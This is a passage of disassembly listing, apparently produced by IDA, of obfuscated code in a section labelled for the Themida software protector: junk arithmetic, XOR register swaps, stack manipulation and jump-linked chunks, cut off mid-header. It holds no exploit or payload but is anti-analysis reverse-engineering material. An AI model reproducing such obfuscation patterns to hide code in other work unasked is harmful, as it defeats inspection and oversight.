loc_55CD1D: ; CODE XREF: Themida_:00568758j
pop ecx
inc ebx
or ebx, 6EBE2C21h
neg ebx
jmp loc_56FB39
; ---------------------------------------------------------------------------
loc_55CD2C: ; CODE XREF: Themida_:0056505Ej
sub ebp, esi
jmp loc_56E880
; ---------------------------------------------------------------------------
loc_55CD33: ; CODE XREF: Themida_:0056A818j
push 0B82h
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
jmp loc_56E087
; ---------------------------------------------------------------------------
loc_55CD4D: ; CODE XREF: Themida_:0056C8C9j
add edx, 483C01CBh
xor edx, 61CE5525h
jmp loc_561EBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CD5E: ; CODE XREF: sub_56755A+91FFj
xor edi, edx
xor edx, edi
jmp loc_55FD73
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_55CD67: ; CODE XREF: sub_5635DE+CC35j
add edi, 2C623396h
shr edi, 1
dec edi
push ecx
mov ecx, 7F07A2Bh
jmp loc_569763
; END OF FUNCTION CHUNK FOR sub_5635DE
; =============== S U B R O U T I N E =======================================
sub_55CD7B proc near ; CODE XREF: sub_56BD7C+Dj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055B806 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0055E0A3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055F4A7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056034D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056111F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00561746 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056236B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005629CE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00563541 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005635CD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005638B5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00563A20 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00563E47 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056A0BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A150 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056A7EA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056B1CB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056B5D6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056C958 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056EA6F SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056EF47 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056F1CC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056F861 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F95E SIZE 00000007 BYTES
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
xor ebx, [esp+4+var_4]
xor [esp+4+var_4], ebx
xor ebx, [esp+4+var_4]
mov esp, [esp+4+var_4]
jmp loc_55B806
sub_55CD7B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CD9B: ; CODE XREF: sub_56755A+81BDj
push 3E78h
mov [esp+20h+var_20], ebx
sub [esp+20h+var_20], 1
pop ebx
jmp sub_565F9F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55CDB0: ; CODE XREF: Themida_:0055DC6Bj
add ecx, ebp
jmp loc_55BE91
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565C4A
loc_55CDB7: ; CODE XREF: sub_565C4A-4963j
sub ecx, 5D1F76EBh
push ecx
not [esp+4+var_4]
inc [esp+4+var_4]
mov ecx, [esp+4+var_4]
add esp, 4
shl ecx, 1
add ecx, 0D0F5ADCEh
add edi, 6EF34CD1h
add edi, ecx
sub edi, 6EF34CD1h
mov ecx, [esp+0]
add esp, 4
push ecx
mov ecx, 2
jmp loc_564AC7
; END OF FUNCTION CHUNK FOR sub_565C4A
; ---------------------------------------------------------------------------
loc_55CDF4: ; CODE XREF: Themida_:00569746j
mov esi, edx
mov edx, [esp]
add esp, 4
add ecx, esi
pop esi
sub ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_562B0C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CE13: ; CODE XREF: sub_56755A+791Fj
add ecx, 4
jmp loc_568CD9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55CE1E: ; CODE XREF: Themida_:00561904j
add ebx, 4
push 12Bh
mov [esp], ebp
push 4
pop ebp
add ebx, 47DA7F8Eh
add ebx, 7B673E58h
add ebx, ebp
push edx
mov edx, 7B673E58h
sub ebx, edx
pop edx
sub ebx, 47DA7F8Eh
push dword ptr [esp]
pop ebp
push eax
push esp
pop eax
jmp loc_56D8D0
; ---------------------------------------------------------------------------
loc_55CE5B: ; CODE XREF: Themida_:0055F8E2j
and ebp, 36A03B49h
push 57Fh
mov [esp], eax
mov eax, 56AC08D2h
inc eax
shl eax, 7
jmp loc_564420
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D600
loc_55CE77: ; CODE XREF: sub_56D600-B51Aj
push edx
mov dh, 34h
sub dh, 18h
sub al, dh
pop edx
sub al, 11h
sub dh, al
pop eax
or dh, 27h
sub dh, 0A6h
mov bl, 0F4h
xor bl, dh
pop edx
push small 6F6Dh
mov word ptr [esp-6+arg_0+2], ax
mov al, 0A1h
sub bl, 4
jmp loc_5673AD
; END OF FUNCTION CHUNK FOR sub_56D600
; ---------------------------------------------------------------------------
loc_55CEA2: ; CODE XREF: Themida_:00565C36j
push ecx
mov ecx, 7CF82D45h
add eax, ecx
jmp loc_56399F
; ---------------------------------------------------------------------------
loc_55CEAF: ; CODE XREF: Themida_:00561A86j
sub ecx, 0FFFFFFFFh
jmp loc_569F95
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CEB7: ; CODE XREF: sub_56755A-E80j
sub ecx, 0BE4230h
add edx, ecx
pop ecx
push eax
jmp loc_563BC8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_55CEC6: ; CODE XREF: sub_56026A+21j
xor eax, ebp
pop ebp
add edi, eax
jmp loc_56D530
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CED0: ; CODE XREF: sub_56755A+4B0j
or edx, 65620970h
xor edx, 24212C3Dh
jmp loc_56F8CA
; ---------------------------------------------------------------------------
loc_55CEE1: ; CODE XREF: sub_56755A+226Fj
push edi
mov edi, 4FB859F4h
push esi
mov esi, 274D4AC1h
not esi
and esi, 1DE716B9h
and esi, 131D41F3h
xor esi, 27A87ADBh
add ebx, esi
pop esi
add ebx, edi
sub ebx, 37A87AEBh
mov edi, [esp+20h+var_20]
add esp, 4
sub esp, 4
mov [esp+20h+var_20], edi
mov edi, 41A43025h
dec edi
jmp loc_55B8CA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55CF26: ; CODE XREF: Themida_:0055EAEAj
mov edx, 2C2A7Ah
xor edx, 2C2A7Eh
add esi, edx
pop edx
sub esi, 4
jmp loc_566F3C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CF3F: ; CODE XREF: sub_56755A-AD97j
mov esp, [esp-4+arg_0]
jmp loc_56956F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55CF47: ; CODE XREF: Themida_:005625D2j
push 2463h
jmp loc_55FDD4
; ---------------------------------------------------------------------------
loc_55CF51: ; CODE XREF: Themida_:0055BFEAj
push 4808h
mov [esp], eax
mov eax, esp
add eax, 4
push ecx
push edx
mov edx, 2AD246A4h
neg edx
xor edx, 3B7C568Fh
or edx, 4C533E08h
xor edx, 0EE53FFDFh
mov ecx, edx
jmp loc_55BADC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CF82: ; CODE XREF: sub_56755A+7306j
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp-4+arg_0]
pop esp
add edx, edi
push dword ptr [edx]
xor [esp-4+arg_0], 0D4623F7h
jmp loc_566C8A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55CFA4: ; CODE XREF: Themida_:00565BAFj
not ebp
inc ebp
xor ebp, 8F0CD66Dh
and ecx, ebp
pop ebp
sub esp, 4
mov [esp], eax
push esi
push 59630440h
pop esi
dec esi
jmp loc_56807C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55CFC3: ; CODE XREF: sub_56755A-A8B2j
mov cl, dh
mov bl, cl
jmp loc_55C163
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55CFCC: ; CODE XREF: Themida_:00569F43j
xor dl, [esp]
xor [esp], dl
mov ecx, [esp]
add esp, 4
push 3253h
mov [esp], eax
sub esp, 4
mov [esp], edx
mov dl, cl
jmp loc_56E0F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E54A
loc_55CFED: ; CODE XREF: sub_55E54A+D871j
add dword ptr [esp], 4
pop ebx
add ebx, 4
push esi
mov esi, 23AC29A4h
push ecx
jmp loc_56DF8D
; END OF FUNCTION CHUNK FOR sub_55E54A
; ---------------------------------------------------------------------------
loc_55D007: ; CODE XREF: Themida_:0056AD4Ej
mov esi, 4
jmp loc_564DE6
; ---------------------------------------------------------------------------
loc_55D011: ; CODE XREF: Themida_:0056ABACj
xor dl, 4Ch
jmp loc_5643E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_55D019: ; CODE XREF: sub_55D71E+10273j
mov esi, ebp
pop ebp
sub ebp, 31DD2D78h
add ebp, esi
add ebp, 31DD2D78h
pop esi
xor ebp, [esp+4+var_4]
jmp loc_56F5C4
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E257
loc_55D033: ; CODE XREF: sub_55E257+349Bj
sub eax, 0E83FE8EEh
sub ecx, eax
jmp loc_567E53
; END OF FUNCTION CHUNK FOR sub_55E257
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E99C
loc_55D03F: ; CODE XREF: sub_55E99C+4ADAj
add ebx, ebp
pop ebp
jmp loc_55BA37
; END OF FUNCTION CHUNK FOR sub_55E99C
; ---------------------------------------------------------------------------
loc_55D047: ; CODE XREF: Themida_:00561336j
mov [esp], ebp
mov ebp, 275B3063h
push ebp
mov ebp, 6B696544h
shr ebp, 6
jmp loc_570658
; ---------------------------------------------------------------------------
loc_55D05D: ; CODE XREF: Themida_:0055BF1Ej
push edx
jmp loc_56AE7D
; ---------------------------------------------------------------------------
loc_55D063: ; CODE XREF: Themida_:00568C97j
push 1CB9h
jmp loc_55C332
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D06D: ; CODE XREF: sub_56755A+84F8j
pop esp
jmp loc_5604B1
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55D073: ; CODE XREF: Themida_:0055D925j
add esi, 74AA057Bh
and edi, esi
pop esi
not edi
sub edi, 0BBF1B15Dh
jmp loc_55BEEB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D089: ; CODE XREF: sub_56755A-525Aj
push ecx
push [esp+1Ch+var_18]
jmp loc_565F8E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55D093: ; CODE XREF: Themida_:00563C32j
mov edx, 689F5380h
xor esi, edx
mov edx, [esp]
add esp, 4
sub esi, 26BC63C4h
push ebp
push esi
mov esi, 6FCD2B83h
mov ebp, esi
mov esi, [esp]
add esp, 4
add ebp, 0C7CFEA60h
sub eax, ebp
pop ebp
add eax, esi
add eax, 379D15E3h
mov esi, [esp]
add esp, 4
xor ebx, eax
mov dx, [esp]
push 638Ah
mov [esp], edi
sub esp, 4
jmp loc_56CA19
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D0E4: ; CODE XREF: sub_56755A+2843j
neg ebx
add ebx, 3EA505FFh
jmp loc_56F5CF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55D0F1: ; CODE XREF: Themida_:005700EDj
push eax
mov ah, dh
mov cl, ah
pop eax
pop edx
add al, cl
mov cx, [esp]
add esp, 2
push 474Ah
jmp loc_5706B9
; ---------------------------------------------------------------------------
loc_55D10B: ; CODE XREF: Themida_:00565D35j
push edx
jmp loc_56ABA4
; ---------------------------------------------------------------------------
loc_55D111: ; CODE XREF: Themida_:0056DD58j
mov cl, 2Dh
mov bh, cl
mov ecx, [esp]
push eax
mov eax, esp
jmp loc_565C80
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D120: ; CODE XREF: sub_56755A-489Fj
push esp
push [esp+24h+var_24]
pop edi
add esp, 4
jmp loc_5602E0
; ---------------------------------------------------------------------------
loc_55D12D: ; CODE XREF: sub_56755A-11B4j
mov esi, [esp+20h+var_20]
add esp, 4
push ebx
mov ebx, 18365E6Ch
sub eax, ebx
pop ebx
sub eax, esi
push esi
mov esi, 18365E6Ch
jmp loc_568BBC
; ---------------------------------------------------------------------------
loc_55D149: ; CODE XREF: sub_56755A+59D5j
mov edi, [esp+20h+var_20]
jmp loc_56EB95
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_55D151: ; CODE XREF: sub_5635DE+50F7j
push 6C13h
mov [esp+8+var_8], esp
push esi
jmp sub_568470
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565269
loc_55D15F: ; CODE XREF: sub_565269-6B07j
push [esp+10h+var_C]
pop ecx
pop [esp+10h+var_10]
pop esp
mov [esp+8+var_8], ebp
mov ebp, edx
jmp sub_56CD48
; END OF FUNCTION CHUNK FOR sub_565269
; ---------------------------------------------------------------------------
loc_55D172: ; CODE XREF: Themida_:0056262Cj
mov [esp], eax
push dword ptr [esp+4]
jmp loc_566845
; ---------------------------------------------------------------------------
loc_55D17E: ; CODE XREF: Themida_:0055BA13j
mov [esp], ebp
push esp
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add ebp, 4
push 0EF9h
jmp loc_55F689
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_55D1A8: ; CODE XREF: sub_56CB7D-C802j
push [esp+14h+var_14]
pop edx
push 28D1h
mov [esp+18h+var_18], ebp
push esp
jmp loc_56ABC2
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D1BA: ; CODE XREF: sub_56755A+9E3j
mov ecx, 0BFBCCCB1h
mov edi, ecx
pop ecx
jmp loc_55D493
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55D1C7: ; CODE XREF: Themida_:005643EDj
add al, 5Ah
pop ecx
add al, bl
push ebx
jmp loc_566ACF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E54A
loc_55D1D2: ; CODE XREF: sub_55E54A+Aj
mov edx, [esp+4+var_4]
add esp, 4
sub cl, 3Ch
xor al, cl
mov ecx, [esp+0]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+4+var_4]
pop esp
push cx
jmp loc_55BAFC
; END OF FUNCTION CHUNK FOR sub_55E54A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570668
loc_55D1FD: ; CODE XREF: sub_570668-707Aj
mov [esp+4+var_4], edx
mov edx, 0
jmp loc_560736
; END OF FUNCTION CHUNK FOR sub_570668
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_55D20A: ; CODE XREF: sub_56E89A-10536j
xor ecx, 4F4311AAh
sub esi, ecx
pop ecx
jmp loc_56C315
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_55D218: ; CODE XREF: Themida_:00562A35j
mov ebp, 4
add eax, ebp
pop ebp
xchg eax, [esp]
pop esp
jmp loc_565ACE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D229: ; CODE XREF: sub_56755A+25C5j
mov edx, [esp+1Ch+var_1C]
push eax
jmp loc_55DB24
; ---------------------------------------------------------------------------
loc_55D232: ; CODE XREF: sub_56755A-793Ej
push [esp+20h+var_1C]
mov ebx, [esp+24h+var_24]
add esp, 4
jmp loc_55EE2C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
mov [esp], edi
push esp
pop edi
push esi
mov esi, 4
jmp loc_5621C9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D271: ; CODE XREF: sub_56755A+37BDj
push edx
jmp loc_55E8DE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_55D277: ; CODE XREF: sub_55D71E+37j
xor ebp, eax
jmp loc_56D990
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570668
loc_55D27E: ; CODE XREF: sub_570668-A303j
shr edi, 7
xor edi, 9B21F8Eh
add eax, edi
pop edi
jmp loc_5695E6
; END OF FUNCTION CHUNK FOR sub_570668
; ---------------------------------------------------------------------------
loc_55D28F: ; CODE XREF: Themida_:00564FC4j
sub ebx, 0C82DEB5Dh
sub esi, ebx
pop ebx
add esi, 2EAF7016h
add esi, eax
sub esi, 2EAF7016h
push edi
push ebx
jmp loc_5619E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B62C
loc_55D2AD: ; CODE XREF: sub_56B62C-5710j
pop ax
mov ah, bh
pop ebx
and ah, 4Ch
push dx
mov dh, 0DDh
xor ah, dh
mov dx, [esp+8+var_8]
add esp, 2
add dh, ah
jmp loc_56B597
; END OF FUNCTION CHUNK FOR sub_56B62C
; ---------------------------------------------------------------------------
loc_55D2C9: ; CODE XREF: Themida_:00560B73j
push esi
mov esi, 2BC92310h
shr esi, 8
xor esi, 41544A05h
jmp loc_561A08
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55EA9F
loc_55D2DD: ; CODE XREF: sub_55EA9F+EC4Cj
mov edx, esp
add edx, 4
push ebx
mov ebx, 4
add edx, ebx
jmp loc_56892C
; END OF FUNCTION CHUNK FOR sub_55EA9F
; ---------------------------------------------------------------------------
loc_55D2F2: ; CODE XREF: Themida_:0056561Dj
shr edi, 6
push eax
mov eax, 15C025B1h
shl eax, 6
shr eax, 2
jmp loc_56C6DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D306: ; CODE XREF: sub_56755A-26Ej
mov ecx, 67952DA3h
sub eax, 6EED5E6Ah
sub eax, ecx
push ebx
mov ebx, 45047542h
neg ebx
jmp loc_55D794
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55D31F: ; CODE XREF: Themida_:00568390j
pop ebp
jmp loc_55FEC2
; ---------------------------------------------------------------------------
loc_55D325: ; CODE XREF: Themida_:0056598Bj
mov ebp, esp
add ebp, 4
push esi
mov esi, 4
add ebp, esi
pop esi
xchg ebp, [esp]
mov esp, [esp]
jmp loc_56DD4D
; ---------------------------------------------------------------------------
loc_55D341: ; CODE XREF: Themida_:005704F7j
add eax, 12810486h
jmp loc_56ADC8
; ---------------------------------------------------------------------------
loc_55D34B: ; CODE XREF: Themida_:0056878Fj
shr esi, 1
xor esi, 63A8C01Eh
sub ebx, esi
pop esi
jmp loc_563C9A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D35B: ; CODE XREF: sub_56755A-14ABj
add eax, 5F2127F9h
add eax, esi
sub eax, 5F2127F9h
sub eax, 40AF06B1h
pop esi
push ebx
push esi
push 45157A52h
mov esi, [esp+30h+var_30]
add esp, 4
and esi, 1571457h
inc esi
xor esi, 1151057h
mov ebx, esi
mov esi, [esp+2Ch+var_2C]
add esp, 4
add eax, ebx
pop ebx
push eax
push [esp+28h+var_24]
jmp loc_566738
; ---------------------------------------------------------------------------
loc_55D3A2: ; CODE XREF: sub_56755A-402Fj
xor bl, dh
pop edx
or bl, 0E2h
xor bl, 0ADh
jmp loc_5689A2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_55D3B0: ; CODE XREF: sub_56026A-40F9j
pop edx
push edx
sub esp, 4
push esp
pop [esp+10h+var_10]
push ecx
mov ecx, 4
add [esp+10h+var_C], ecx
pop ecx
mov edx, [esp+0Ch+var_C]
add esp, 4
add edx, 4
add edx, 4
xchg edx, [esp+8+var_8]
pop esp
push 2F81h
mov [esp+8+var_8], ecx
push ebp
jmp loc_565EEA
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
loc_55D3E8: ; CODE XREF: Themida_:0056DF2Ej
mov esp, [esp]
movzx ecx, ax
push ebp
push 6F19h
jmp loc_56BCD2
; ---------------------------------------------------------------------------
loc_55D3F9: ; CODE XREF: Themida_:00560E41j
push ebx
mov bl, 5
not bl
or bl, 0A8h
add bl, 16h
jmp loc_56E5F4
; ---------------------------------------------------------------------------
loc_55D409: ; CODE XREF: Themida_:0055DC29j
push 34CCh
mov [esp], ecx
push esp
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_567325
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D41E: ; CODE XREF: sub_56755A+8BA9j
inc edi
sub esp, 4
mov [esp+2Ch+var_2C], edi
jmp loc_56BBA8
; ---------------------------------------------------------------------------
loc_55D42A: ; CODE XREF: sub_56755A-4C16j
pop esp
and edi, 44BA27FEh
not edi
jmp loc_563E0F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5646E3
loc_55D438: ; CODE XREF: sub_5646E3-5E16j
pop eax
add edi, 0C79097Ah
push [esp-4+arg_0]
jmp loc_5609AD
; END OF FUNCTION CHUNK FOR sub_5646E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_55D447: ; CODE XREF: sub_55FDEF+F37Ej
mov esi, 37146F27h
sub esi, 8B01EB5h
jmp loc_55E91B
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push ebp
push esp
mov ebp, [esp]
jmp loc_562925
; ---------------------------------------------------------------------------
loc_55D465: ; CODE XREF: Themida_:0056E082j
xor ecx, ebx
pop ebx
jmp loc_56E4E7
; ---------------------------------------------------------------------------
loc_55D46D: ; CODE XREF: Themida_:0056654Cj
mov [esp], ebp
push 3E5C4B08h
pop ebp
add edx, 678F6F70h
sub edx, ebp
push 0A44h
mov [esp], ecx
jmp loc_562E37
; ---------------------------------------------------------------------------
loc_55D48B: ; CODE XREF: Themida_:00563398j
mov esi, [esp]
jmp loc_56A48B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D493: ; CODE XREF: sub_56755A-A398j
sub ebp, edi
pop edi
push edx
mov edx, ebp
mov ebx, edx
pop edx
pop ebp
jmp loc_56E823
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5646E3
loc_55D4A2: ; CODE XREF: sub_5646E3-3D13j
mov ecx, 6F736B81h
push ecx
pop ebx
jmp loc_563F93
; END OF FUNCTION CHUNK FOR sub_5646E3
; ---------------------------------------------------------------------------
loc_55D4AE: ; CODE XREF: Themida_:00569B2Fj
add ebp, eax
pop eax
shl ebp, 6
push ebp
neg dword ptr [esp]
pop ebp
jmp loc_561CEF
; ---------------------------------------------------------------------------
loc_55D4BE: ; CODE XREF: Themida_:0056F2EEj
or eax, 29C44C9Ah
sub eax, 1F631699h
add eax, 361161B6h
add eax, 72A7099Fh
add edx, eax
jmp loc_56E067
; ---------------------------------------------------------------------------
loc_55D4D9: ; CODE XREF: Themida_:0056B294j
shl dl, 6
jmp loc_568E1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D4E1: ; CODE XREF: sub_56755A-3308j
xor esi, [esp+14h+var_14]
xor [esp+14h+var_14], esi
xor esi, [esp+14h+var_14]
jmp loc_569267
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_55D4EF: ; CODE XREF: sub_56CB7D-BE04j
add esp, 4
sub esp, 4
mov [esp+8+var_8], edi
push esp
pop edi
push ecx
push 6134h
mov [esp+10h+var_10], edi
mov edi, 4
push edi
jmp loc_55FFE2
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
loc_55D50E: ; CODE XREF: Themida_:0056A6B1j
add esp, 4
jmp loc_56C185
; ---------------------------------------------------------------------------
loc_55D516: ; CODE XREF: Themida_:0056226Dj
sub edx, 4
jmp loc_564621
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D51E: ; CODE XREF: sub_56755A-813Aj
mov edi, [esp+14h+var_14]
add esp, 4
push ebp
push eax
mov eax, 20ED6C54h
mov ebp, 20ED6C50h
xor ebp, eax
pop eax
add ecx, ebp
pop ebp
xchg ecx, [esp+10h+var_10]
pop esp
mov ecx, [esp+0Ch+var_C]
push ebp
mov ebp, esp
jmp sub_56EAA9
; ---------------------------------------------------------------------------
loc_55D545: ; CODE XREF: sub_56755A+4450j
push ebx
push esi
jmp loc_5676B7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56250B
loc_55D54C: ; CODE XREF: sub_56250B+B480j
pop edi
shr cx, 8
xchg ax, cx
not ax
xchg ax, cx
shl cx, 5
shr cx, 1
add cx, 8712h
mov si, cx
pop ecx
add bx, si
pop si
push [esp+4+var_4]
pop ebp
push ebp
mov ebp, esp
push edi
mov edi, 7C27423Dh
add edi, 83D8BDC7h
add ebp, edi
jmp loc_565F5A
; END OF FUNCTION CHUNK FOR sub_56250B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_55D587: ; CODE XREF: sub_56E89A-AF5Bj
mov edx, ebx
pop ebx
mov ebp, edx
mov edx, [esp+0Ch+var_C]
add esp, 4
jmp loc_564917
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5644A0
loc_55D59A: ; CODE XREF: sub_5644A0+3j
mov [esp+4+var_4], edx
mov edx, 0AD545AEh
or ecx, edx
pop edx
inc ecx
sub ecx, 1
push ebp
mov ebp, 4CA508EDh
inc ebp
jmp sub_566894
; END OF FUNCTION CHUNK FOR sub_5644A0
; ---------------------------------------------------------------------------
loc_55D5B5: ; CODE XREF: Themida_:0055C022j
add ecx, 3D7312A4h
sub ecx, eax
sub ecx, 3D7312A4h
pop eax
pop edi
add ecx, 2
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_5625F3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D5E0: ; CODE XREF: sub_56755A-2C82j
pop eax
xor edi, 129532A6h
not edi
not edi
and edi, 3CAD49EFh
sub edi, 2C840987h
jmp loc_563CF9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D164
loc_55D5FC: ; CODE XREF: sub_56D164+14j
and eax, ebx
mov ebx, [esp+0]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+4+var_4]
pop esp
shr eax, 8
xor eax, ecx
push eax
xchg ebp, [esp+4+var_4]
not ebp
jmp loc_565356
; END OF FUNCTION CHUNK FOR sub_56D164
; ---------------------------------------------------------------------------
loc_55D624: ; CODE XREF: Themida_:0055C3F1j
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55D629: ; CODE XREF: sub_56755A-1935j
add esp, 4
push 3638h
mov [esp+14h+var_14], edx
push esp
jmp loc_56E358
; ---------------------------------------------------------------------------
loc_55D63D: ; CODE XREF: sub_56755A+8709j
and esi, ecx
jmp loc_55C8CB
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
